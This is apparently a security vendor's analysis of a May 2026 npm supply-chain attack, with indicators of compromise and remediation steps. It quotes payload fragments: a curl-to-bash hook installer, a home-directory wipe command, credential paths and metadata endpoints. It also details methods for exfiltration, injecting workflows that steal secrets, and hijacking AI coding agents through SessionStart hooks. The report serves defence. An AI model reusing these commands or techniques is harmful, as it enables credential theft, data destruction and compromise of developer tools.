Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised

TL;DR

The npm account atool ([email protected]) was compromised on May 19, 2026. The attacker published 637 malicious versions across 317 packages in a 22-minute automated burst. Affected packages include size-sensor (4.2M downloads/month), echarts-for-react (3.8M), @antv/scale (2.2M), timeago.js (1.15M), and hundreds of @antv scoped packages. The payload is a 498KB obfuscated Bun script that matches the Mini Shai-Hulud toolkit used in the SAP compromise three weeks earlier: same scanner architecture, same credential regex set, same obfuscation pattern. It harvests credentials across the full AWS chain (env vars, config files, EC2 IMDS, ECS container metadata, Secrets Manager), Kubernetes service account tokens, HashiCorp Vault, GitHub PATs, npm tokens, SSH keys, and more. Stolen data is exfiltrated by committing it as Git objects to public GitHub repositories created under the compromised token, with the User-Agent forged as python-requests/2.31.0. In CI environments, the payload exchanges GitHub Actions OIDC tokens for npm publish tokens, signs artifacts via Sigstore (Fulcio + Rekor) using the stolen identity, and injects persistence into .github/workflows/codeql.yml. The payload hijacks Claude Code and Codex by injecting SessionStart hooks that re-execute the malware on every AI session, both locally and via commits to accessible GitHub repositories. VS Code gets a tasks.json with "runOn": "folderOpen" for the same effect. A persistent systemd service / macOS LaunchAgent (kitty-monitor) installs a GitHub dead-drop C2 backdoor: a Python daemon that polls GitHub’s commit search API hourly for RSA-PSS signed commands in commit messages containing the keyword firedalazer, then downloads and executes arbitrary Python from the signed URL. A separate gh-token-monitor daemon polls stolen GitHub tokens at 60-second intervals. The payload also attempts Docker container escape via the host socket and propagates infection to other local Node.js projects.

The attack uses two execution paths. Each compromised version adds a preinstall hook (bun run index.js). 630 of 637 versions also inject an optionalDependencies entry pointing to imposter commits in the antvis/G2 GitHub repository. These are orphan commits with forged authorship, invisible in the repo’s branch history, exploiting GitHub’s fork object sharing to host a second copy of the payload without any write access to the target repository. npm’s github: dependency resolution fetches and executes the content by SHA.

Impact:

• Projects using semver ranges (e.g., ^3.0.6 for echarts-for-react) auto-resolve to compromised versions
• Credential harvesting targets npm tokens, GitHub PATs, AWS keys (full credential chain including EC2 metadata and ECS container credentials), GCP service accounts, Azure credentials, database connection strings, Stripe keys, Slack tokens, SSH keys, Docker auth, Kubernetes service account tokens, and HashiCorp Vault tokens
• Exfiltrated data is committed to public GitHub repositories created under the stolen token’s account, using the GitHub API as a C2 channel disguised with a python-requests/2.31.0 User-Agent
• npm OIDC token exchange in CI allows the attacker to obtain publish tokens using the pipeline’s own identity
• Sigstore signing with stolen OIDC tokens creates legitimately-signed artifacts with forged provenance
• Docker socket access enables privileged container escape with host filesystem bind mounts
• CI/CD persistence via .github/workflows/codeql.yml injection (named “Run Copilot”) that dumps toJSON(secrets) as a GitHub Actions artifact, then self-cleans by deleting the workflow run and resetting the branch
• AI agent hijacking: Claude Code SessionStart hooks, Codex hooks, and VS Code "runOn": "folderOpen" tasks, all triggering a Bun bootstrapper that re-executes the payload
• Persistent systemd user services and macOS LaunchAgents: kitty-monitor runs a GitHub dead-drop C2 backdoor that accepts RSA-signed remote commands via GitHub commit search; gh-token-monitor polls stolen tokens at 60-second intervals
• Local project infection copies payload files and hooks into other Node.js projects on the same machine
• Redundant payload delivery via GitHub imposter commits survives even if preinstall hooks are blocked

Indicators of Compromise (IoC):

• Any package published by atool ([email protected]) on 2026-05-19 between 01:44 and 02:06 UTC
• preinstall script: bun run index.js
• Payload SHA256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c
• Imposter commits in antvis/G2 (orphan, forged author, message: “New Package”):
  • 1916faa365f2788b6e193514872d51a242876569 (626 versions)
  • 7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 versions)
  • dc3d62a2181beb9f326952a2d212900c94f2e13d (1 version, garbage collected)
• Optional dependency: @antv/setup: github:antvis/G2#
• Exfiltration repositories matching the Dune-themed naming pattern ⚡-🔥-⚡ where word1 is one of: sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec; word2 is one of: sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola; number is 0-999. Description: “Shai-Hulud: Here We Go Again” (reversed in source)
• HTTP requests to 169.254.169.254 (EC2 metadata) and 169.254.170.2 (ECS container metadata)
• Branches named chore/add-codeql-static-analysis in repositories accessible to compromised tokens
• .github/workflows/codeql.yml with workflow name Run Copilot that dumps toJSON(secrets) to format-results.txt
• .claude/settings.json containing SessionStart hooks running node .claude/setup.mjs
• .vscode/tasks.json with "runOn": "folderOpen" tasks calling .claude/setup.mjs
• .claude/setup.mjs or .vscode/setup.mjs (Bun bootstrapper, downloads bun v1.3.14 from GitHub)
• Systemd user service kitty-monitor.service or LaunchAgent com.user.kitty-monitor.plist
• gh-token-monitor daemon at ~/.local/bin/gh-token-monitor.sh
• Files at ~/.local/share/kitty/cat.py (GitHub dead-drop C2 backdoor)
• State file /var/tmp/.gh_update_state (C2 execution tracking)
• GitHub commits containing the keyword firedalazer (C2 command trigger)
• RSA-PSS signed commands in commit messages: firedalazer .

If you are auditing lockfiles or reinstalling on affected machines, Package Manager Guard (pmg) is an open-source install proxy that evaluates packages against threat intelligence before preinstall scripts run. Its dependency cooldown can refuse versions published inside a configurable window, which helps against bursts like the May 19 wave where semver ranges were still resolving to freshly published malicious releases.

Analysis

Account Compromise and Blast Radius

The atool npm account maintains 547 packages. The attacker published 637 malicious versions across 314 of those packages in two automated waves, both on May 19, 2026:

Most packages (309) received exactly 2 malicious versions, one per wave. Four packages (size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock) received 3 versions, suggesting they were used for early testing before the bulk publish.

A sample of the highest-impact affected packages:

The attacker did not move the latest dist-tag on most packages. For echarts-for-react, latest still points to 3.0.6. This provides no protection: npm’s semver resolution picks the highest version matching a range, regardless of the latest tag. Any project with "echarts-for-react": "^3.0.6" in its package.json resolves to 3.2.7 (malicious) on the next clean install.

Execution Trigger

Every compromised version makes exactly two changes to package.json:

The preinstall hook runs before any dependency installation and requires Bun as the runtime. 630 of the 637 malicious versions also inject an optionalDependencies entry that delivers a second copy of the payload via the legitimate antvis/G2 GitHub repository (see Imposter Commits in antvis/G2 below).

Malicious Payload

The index.js file is a single-line, 498KB obfuscated Bun bundle. The structure is a direct match with the Mini Shai-Hulud payload from the SAP compromise three weeks earlier: same Bun runtime requirement, same hex-variable obfuscation pattern, same scanner architecture with a 100KB flush threshold, same credential regex set. The payload uses two layers of obfuscation: a hex-variable string lookup table (_0x1169 resolving from array _0x5e03) and an encrypted string decoder (fc2edea72) that uses base64 + XOR for all sensitive strings like environment variable names, file paths, and C2 URLs.

The imports reveal the full scope of capabilities:

The payload’s main function J2() orchestrates the attack through a scanner architecture. It instantiates multiple scanner classes, each targeting a different credential type, and dispatches results through a batched sender (Po) with a 100KB flush threshold. A CI environment detection module checks for 20+ platforms via environment variables: GitHub Actions (GITHUB_ACTIONS), Jenkins (JENKINS_URL, JENKINS_HOME), GitLab CI (GITLAB_CI), CircleCI (CIRCLECI), Travis (TRAVIS), Buildkite (BUILDKITE), Drone (DRONE), TeamCity (TEAMCITY_VERSION), AppVeyor (APPVEYOR), Bitbucket Pipelines (BITBUCKET_BUILD_NUMBER), Bitrise (BITRISE_IO), Semaphore (SEMAPHORE), CodeBuild (CODEBUILD_BUILD_ID), Azure DevOps (BUILD_BUILDURI), Cirrus CI (CIRRUS_CI), Netlify (NETLIFY), Vercel (VERCEL), CF Pages (CF_PAGES), Buddy (BUDDY_WORKSPACE_ID), Vela (VELA), Screwdriver (SCREWDRIVER), SailCI (SAILCI), Wercker (WERCKER_MAIN_PIPELINE_STARTED), Shippable (SHIPPABLE), Distelli (DISTELLI_APPNAME), and JetBrains Space (JB_SPACE_EXECUTION_NUMBER). When running in GitHub Actions, additional data collection activates: workflow runs, artifacts, secrets metadata, and OIDC token exchange.

Credential Harvesting

The payload reads 80+ environment variables (all names encrypted via fc2edea72) and scans file contents using regex patterns. The regex set reveals what the attacker is after:

The scanner also parses AWS STS identity responses, extracting and XML tags from GetCallerIdentity calls.

A separate file-scanning class (zo) reads sensitive paths from the home directory. The targeted paths are encrypted via fc2edea72, but the code references a LINUX key in the path map and resolves ~ via os.homedir(), targeting standard credential locations: .ssh, .aws/credentials, .npmrc, .docker/config.json, .kube/config, and similar paths.

Docker Container Escape

The payload checks for the Docker socket and, if present, attempts container escape through three sequential methods:

The C2() function (not a “command and control” function, but the container configuration builder) constructs a privileged Docker container with host bind mounts:

The container runs with Privileged: true and AutoRemove: true, meaning it gets full host access and cleans up after execution. The sr() function communicates with the Docker daemon by checking for a socket file (likely /var/run/docker.sock) using statSync().isSocket(), then making HTTP requests over the Unix socket.

C2 and Exfiltration

The payload does not phone home to an attacker-controlled server. It uses GitHub’s own API as the exfiltration channel, making outbound traffic indistinguishable from normal developer tooling.

GitHub API as C2

The C2 base URL and User-Agent both decrypt from the fc2edea72 layer:

Every API call routes through X(). A second wrapper U() adds error handling and JSON parsing. The User-Agent python-requests/2.31.0 disguises the traffic as a Python HTTP library, blending with legitimate API calls in network logs.

Exfiltration Pipeline

The pipeline has three stages.

Stage 1: Token validation. The payload calls GET /user to verify the stolen GitHub token, then GET /user/orgs to enumerate organizations. It inspects the x-oauth-scopes response header for repo and public_repo permissions. Tokens with repo scope activate the _r sender class (GitHub-based exfiltration). Tokens without sufficient scope are discarded.

Stage 2: Exfiltration repo creation. The v1() function creates a new public repository under the compromised account:

The repo description decrypts to a reversed string: niagA oG eW ereH :duluH-iahS, which reads forward as “Shai-Hulud: Here We Go Again”. The attacker disables issues, wiki, and discussions to reduce the repo’s surface area and visibility.

The O2() function generates the repo name by picking one word from each of two hardcoded arrays (X1 and D1, both encrypted via fc2edea72) and appending a random number 0-999. Decrypting both arrays reveals a full Dune vocabulary:

X1 (16 words): sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec

D1 (16 words): sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola

This produces repo names like harkonnen-melange-742, fremen-sandworm-315, or gesserit-navigator-508. The pattern is {X1}-{D1}-{0-999} with 256,000 possible combinations. Any public GitHub repository matching this naming pattern, with no issues, no wiki, and blob/tree/commit activity but no meaningful code, is an exfiltration endpoint from this campaign.

Stage 3: Data exfiltration as Git objects. The _r sender class commits stolen credentials to the repo using the Git Data API:

Each commit stores one batch of exfiltrated data. The _r class tracks a commitCounter that increments per batch, and an includeToken flag that controls whether the stolen GitHub token itself is included in the exfiltrated payload.

Batched Dispatch Architecture

The batched sender class Po accumulates exfiltration payloads in a memory buffer until they reach a 100KB threshold (0x19000 bytes), then flushes through the Co dispatcher. The dispatcher maintains an array of senders (multiple exfiltration backends) and iterates through them. It calls createEnvelope on the first sender to format the payload, then distributes it to all backends. The Co class supports a preflight check and dryRun mode, confirming this is a reusable toolkit built for repeated deployment.

When a Po.ingest() call receives data tagged with a ghtoken match, the payload routes it to a dedicated handleGhTokens handler that validates the token and spins up a new _r sender on the spot, bypassing the batch threshold. Stolen npm tokens get similar treatment via handleNpmTokens.

CI/CD Reconnaissance

In addition to exfiltrating credentials, the payload reads CI/CD metadata from every GitHub repository accessible to the stolen token:

• /actions/workflows/ and /actions/runs/ for workflow execution history
• /actions/artifacts/ and artifact zip downloads for build output
• /actions/secrets?per_page=100 and /actions/organization-secrets?per_page=100 for secret name enumeration (values are not accessible via the API, but names reveal what credentials exist)
• /branches?per_page=30 for branch listings
• /contents/.claude/settings.json for Claude Code configuration (see Claude Code Targeting below)

Cloud Infrastructure Targeting

Beyond environment variables, the payload actively probes cloud infrastructure APIs.

AWS credential chain. The scanner walks the full AWS credential resolution order:

1. Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AWS_REGION, AWS_DEFAULT_REGION, AWS_PROFILE, AWS_ROLE_ARN, AWS_ROLE_SESSION_NAME, AWS_WEB_IDENTITY_TOKEN_FILE
2. Config files: AWS_CONFIG_FILE, AWS_SHARED_CREDENTIALS_FILE, .aws directory
3. EC2 instance metadata (IMDSv2): http://169.254.169.254/latest/api/token for the session token, then http://169.254.169.254/latest/meta-data/iam/security-credentials/ for IAM role credentials
4. ECS container credentials: http://169.254.170.2 via AWS_CONTAINER_CREDENTIALS_RELATIVE_URI and AWS_CONTAINER_CREDENTIALS_FULL_URI
5. AWS Secrets Manager: attempts secretsmanager:ListSecrets and secretsmanager:GetSecretValue across regions (including eu-north-1)

HashiCorp Vault. The payload searches eight locations for Vault tokens: /var/run/secrets/vault/token, /var/run/secrets/vault-token, /run/secrets/vault_token, /run/secrets/VAULT_TOKEN, /root/.vault-token, /home/runner/.vault-token, ~/.vault-token, /etc/vault/token. It reads VAULT_ADDR, VAULT_TOKEN, VAULT_ROLE, VAULT_API_TOKEN, VAULT_TOKEN_FILE, VAULT_TOKEN_PATH. With valid credentials, it queries /metadata?list=true for secrets enumeration and attempts AWS auth (/v1/auth/aws/login) and Kubernetes auth (/v1/auth/kubernetes/login).

Kubernetes. The scanner reads the service account token from /var/run/secrets/kubernetes.io/serviceaccount/token, checks KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT, and KUBECONFIG. The User-Agent for Kubernetes API calls is kubectl/v1.28.0.

Docker. Beyond the container escape described above, the payload queries /containers/json?all=true through the Docker socket to enumerate all containers on the host, and scans /proc/*/cmdline for running process arguments.

npm Token Abuse and OIDC Exchange

The payload has dedicated npm token handling (the handleNpmTokens function). It calls https://registry.npmjs.org/-/whoami to validate stolen npm tokens, lists active tokens via https://registry.npmjs.org/-/npm/v1/tokens, and in CI environments with GitHub Actions OIDC, attempts npm OIDC token exchange at:

This exchange converts a short-lived GitHub Actions OIDC identity token into an npm publish token, allowing the attacker to publish packages using the CI pipeline’s own identity. The payload reads ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL from the environment to obtain the OIDC token.

Sigstore Abuse for Code Signing

The payload includes a complete Sigstore signing implementation, referencing:

• https://fulcio.sigstore.dev for certificate issuance (/api/v2/signingCert)
• https://rekor.sigstore.dev for transparency log submission
• https://search.sigstore.dev/?logIndex= for verification
• https://in-toto.io/Statement/v1 and https://slsa.dev/provenance/v1 for SLSA provenance
• application/vnd.dev.sigstore.bundle.v0.3+json for bundle format
• https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1 for build type

This allows the attacker to sign artifacts with legitimate Sigstore certificates when running in CI environments with OIDC. A cryptographic key pair is generated on the fly (generateKeyPairSync from the import list), and the Fulcio certificate is obtained using the stolen OIDC token. The signed provenance is then submitted to the Rekor transparency log. Downstream consumers who verify Sigstore signatures would see a valid chain of trust pointing back to the compromised CI pipeline’s identity.

Persistence

The payload carries five distinct persistence mechanisms, each targeting a different layer of the developer’s environment. Decrypting the double-encrypted content (AES-256-GCM over gzip, keyed by fc2edea72 output) reveals the full injected files.

CI/CD Workflow Injection

The hP() function injects a malicious GitHub Actions workflow into repositories accessible to stolen tokens. The attack flow:

1. List branches via GET /branches?per_page=30, filter out dependabot/, renovate/, gh-pages, docs/, copilot/, master, and main (protected branches that might trigger reviews)
2. Pick a random surviving branch as the base
3. Get the branch’s HEAD SHA via GET /git/ref/heads/{branch}
4. Create a blob with the workflow content via POST /git/blobs
5. Create a tree placing the blob at .github/workflows/codeql.yml via POST /git/trees
6. Create a commit with message fix: ci via POST /git/commits
7. Force-update the branch ref via PATCH /git/refs/heads/{branch}

The injected workflow, decrypted from variable D7:

The workflow dumps toJSON(secrets) (all repository secrets as JSON) into format-results.txt and uploads it as a GitHub Actions artifact named format-results. It triggers on push, so the attacker’s commit to the branch fires it.

After pushing the commit, the payload polls for the workflow run (vP(), up to 5 attempts at 2s intervals), waits for completion (zP(), up to 10 attempts at 5s intervals), then downloads the artifact zip via GET /actions/artifacts/{id}/zip. The R1() function extracts format-results.txt from the zip, recovering the full secrets dump. Finally, P1() cleans up by deleting the workflow run (DELETE /actions/runs/{id}) and force-resetting the branch ref to its original SHA, erasing evidence of the injection.

The commit message fix: ci, the branch name chore/add-codeql-static-analysis, and the workflow name Run Copilot are all chosen to blend with routine CI maintenance. The actions are pinned to full commit SHAs rather than version tags, mimicking security-conscious repositories that pin their action dependencies.

AI Agent Hijacking (Claude Code, Codex, VS Code)

The payload targets AI coding agents through two paths: remote injection via the GitHub API and local infection via filesystem writes.

For remote injection, the ar class commits five files to GitHub repositories accessible to stolen tokens, using the GraphQL API:

The .claude/index.js entry is a copy of the running payload (Bun.file(Bun.main).text()), staging the malware inside the repo’s Claude Code directory. Any developer who clones or pulls the modified repo gets the full infection.

Claude Code hook injection. The decrypted co variable contains a .claude/settings.json that registers a SessionStart hook:

Every time a developer starts a Claude Code session in a project containing this file, the hook runs node .claude/setup.mjs. The matcher: "*" ensures it fires regardless of the prompt.

VS Code task injection. The decrypted X7 variable contains a .vscode/tasks.json:

The "runOn": "folderOpen" triggers execution when VS Code opens the project folder. This also targets Codex (OpenAI’s coding agent), which shares the .vscode/ configuration path.

The bootstrapper. Both hooks call setup.mjs (decrypted from variable Wo), a 150-line Node.js script that downloads Bun v1.3.14 from GitHub’s official releases, extracts the binary, and executes the payload:

The bootstrapper handles musl/Alpine detection, cross-platform extraction (unzip, bsdtar, Python, PowerShell, or a built-in ZIP parser), and cleans up the temp directory after execution. It ensures the Bun runtime is available even on systems without it pre-installed.

For local infection, the Vo class (which runs unconditionally in J2()’s finally block) handles the filesystem side. It copies the payload to ~/.claude/package/index.js and ~/.codex/package/index.js, then scans for existing settings files. The Qo array contains both "claude" and "codex" as targets. The settingsSearch method uses Bun.Glob("**/settings.json") to scan the filesystem for existing settings files across all projects, and the addHook method injects SessionStart hooks into any it finds. The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability.

Vo skips execution on Apple Silicon Macs (checkAppleSilicon returns true for darwin/arm64) and runs on all other platforms: Linux, Intel Mac, and Windows.

The payload also reads .claude/settings.json from remote repositories via the GitHub Contents API (GET /contents/.claude/settings.json), scanning accessible repos for existing Claude Code configurations to modify via the ar class.

Systemd/LaunchAgent Persistence and GitHub Dead-Drop C2

The decrypted x7 variable contains a bash installer for a persistent daemon disguised as kitty-monitor. On Linux, it creates a systemd user service:

The installer enables the service (systemctl --user enable --now) and runs loginctl enable-linger to keep it alive after logout. On macOS, it installs a LaunchAgent at ~/Library/LaunchAgents/com.user.kitty-monitor.plist. The f7() function in J2()’s finally block deploys the daemon: it writes the Z7 Python script to a temp file, then pipes x7 (the installer) into bash with the temp path as argument. The installer copies Z7 to ~/.local/share/kitty/cat.py and registers it as the service executable. The f7() function gates on CPU count (4+ cores required) and sandbox detection before proceeding.

The decrypted Z7 script (cat.py) reveals a full GitHub dead-drop C2 backdoor. The daemon polls the GitHub Search API once per hour, searching for commits containing the keyword firedalazer:

The commit message format is firedalazer .. The daemon parses the URL and RSA-PSS signature, then verifies against a hardcoded 4096-bit RSA public key:

If the signature checks out, the daemon downloads the URL and executes the content as Python:

The daemon tracks executed commands in /var/tmp/.gh_update_state by SHA-256 hash to avoid replaying the same payload. The attacker can push new commands to all infected machines by creating a single commit on any public GitHub repository with the firedalazer keyword and a valid RSA-PSS signature. The RSA signature prevents third parties from hijacking the C2 channel. GitHub’s commit search API serves as a public, high-availability dead drop that requires no attacker-controlled infrastructure.

The companion scripts q7 and jW are process memory scanners (Linux /proc/pid/maps+mem and Windows ReadProcessMemory via P/Invoke) that dump readable memory regions from GitHub Actions runner worker processes (Runner.Worker). These feed into the credential harvesting pipeline, scanning runner memory for secrets that may not appear in environment variables.

A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL.

Local Project Infection

The Vo class propagates the infection to other local projects by scanning the filesystem with Bun.Glob("**/settings.json"). For each discovered settings file belonging to Claude Code or Codex, it injects SessionStart hooks and copies the payload to ~/.claude/package/index.js (or ~/.codex/package/index.js). A single infected npm install in one project can compromise every Claude Code and Codex workspace on the developer’s machine.

Privilege Escalation and Wiper

The payload checks for sudo access (sudo -n true), and if available, references sudoers modification paths (/etc/sudoers.d:/mnt). A destructive wiper command (rm -rf ~/; rm -rf ~/Documents) also exists in the decoded strings, possibly as an anti-forensics measure or a dead man’s switch tied to the troll string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner.

Imposter Commits in antvis/G2

630 of the 637 malicious versions include an optionalDependencies entry pointing to a specific commit in the antvis/G2 repository:

When npm resolves a github: dependency, it fetches the commit, finds a package.json, and runs lifecycle scripts. The commit contains two files: a package.json declaring @antv/setup with a prepare script, and a 499KB index.js carrying a re-obfuscated variant of the same Shai-Hulud payload.

The && exit 1 causes the optional dependency to “fail” with no visible error. npm treats optional dependency failures as non-fatal, so the install continues. The payload has already executed by the time the exit code propagates. This gives the attacker a redundant execution path: even if the preinstall hook is blocked or skipped, the prepare script in the GitHub dependency fires as a second trigger.

These are orphan commits. The Git API reveals three distinct commit SHAs pushed to antvis/G2, none attached to any branch:

All three share identical metadata: author huiyu.zjt <[email protected]>, commit message New Package, zero parents. The first commit (1916faa) was pushed 14 minutes before the first npm wave, indicating the attacker staged the GitHub payload delivery before beginning the npm publishes.

The author attribution is forged. Alexzjt (huiyu.zjt) is a real Ant Group employee and antvis/G2 maintainer with legitimate commits in the repository dating back months. Git commit authorship is forgeable with zero friction: anyone can set user.name and user.email in their git config. The @users.noreply.github.com email format is public for any GitHub user. None of the three commits carry a GPG signature. GitHub’s API resolves the noreply email to the Alexzjt account, making the commits appear legitimate in the UI, but this resolution is based purely on email matching, not cryptographic verification.

The attacker did not need write access to antvis/G2. GitHub uses Git alternates to share object storage between a repository and its forks. A commit pushed to any fork is fetchable by SHA via the parent repository’s namespace. The attack sequence requires no special access:

1. Fork antvis/G2 (anyone with a GitHub account can do this)
2. Set git config user.email "[email protected]" to forge authorship
3. Create the orphan commit containing the payload in the fork
4. Delete the fork to cover tracks

The commit object persists in antvis/G2’s object store until GitHub garbage collects unreachable objects. npm’s github:antvis/G2# resolution fetches the content by SHA without verifying which branch, tag, or even which repository in the fork network originally created it. No push event appears in antvis/G2’s event log, no PR is created, and no branch is modified. The third commit (dc3d62a) has already been garbage collected, but the other two remain accessible.

This is the same class of vulnerability documented by Chainguard for GitHub Actions (where imposter commits bypass action allowlists), applied here to npm’s github: dependency resolution. The attacker turns any popular repository into a covert payload host without compromising a single GitHub account. The forged authorship as Alexzjt serves as misdirection: if the orphan commits are discovered, they point to a legitimate maintainer rather than the attacker.

Conclusion

A compromised maintainer account drove this incident. The atool account published clean versions of these packages for years before May 19. The 22-minute publish burst across 317 packages (637 versions), with an identical obfuscated payload, rules out a gradual or targeted operation. The attacker automated the entire wave using a stolen token.

Immediate actions:

• Check package-lock.json or pnpm-lock.yaml for any versions published on 2026-05-19 by the affected packages (see full list below)
• If a compromised version was installed: rotate all credentials accessible from the build environment (npm tokens, GitHub PATs, AWS keys, SSH keys, cloud provider credentials, database passwords, Vault tokens, Kubernetes service account tokens)
• Check for unauthorized public repositories created under GitHub accounts whose tokens were accessible from the build environment
• Review npm OIDC token exchange logs for any unauthorized package publishes from CI pipelines
• Verify Sigstore transparency log entries for any signed artifacts created by compromised CI identities
• Check local Node.js projects for injected .claude/settings.json hooks, .vscode/tasks.json auto-run tasks, and .claude/setup.mjs bootstrapper scripts (the payload propagates laterally across projects on the same machine)
• Remove systemd user services named kitty-monitor and LaunchAgents named com.user.kitty-monitor (GitHub dead-drop C2 backdoor that accepts remote commands)
• Check for ~/.local/share/kitty/cat.py (the C2 daemon), /var/tmp/.gh_update_state (execution state), and ~/.local/bin/gh-token-monitor.sh (token polling daemon)
• Pin dependencies or use lockfiles to prevent semver range resolution to malicious versions
• Audit CI/CD pipelines for Docker socket exposure and EC2 metadata access (consider IMDSv2 hop limit restrictions)

The blast radius (547 packages under a single account, 314 weaponized in one session) exposes a structural weakness in npm’s trust model: a single compromised token cascades across hundreds of packages with millions of downstream consumers. Lockfiles and signature verification remain the primary defenses.

Tools like vet can detect anomalous package updates, including unexpected preinstall hooks, size spikes, and maintainer changes, before they reach your CI/CD pipeline. For real-time protection on developer machines, pmg intercepts malicious packages at install time, blocking threats like this before credentials are exposed.

References

Full List of Compromised Packages

317 packages received malicious versions on 2026-05-19. Check your lockfiles for any of these: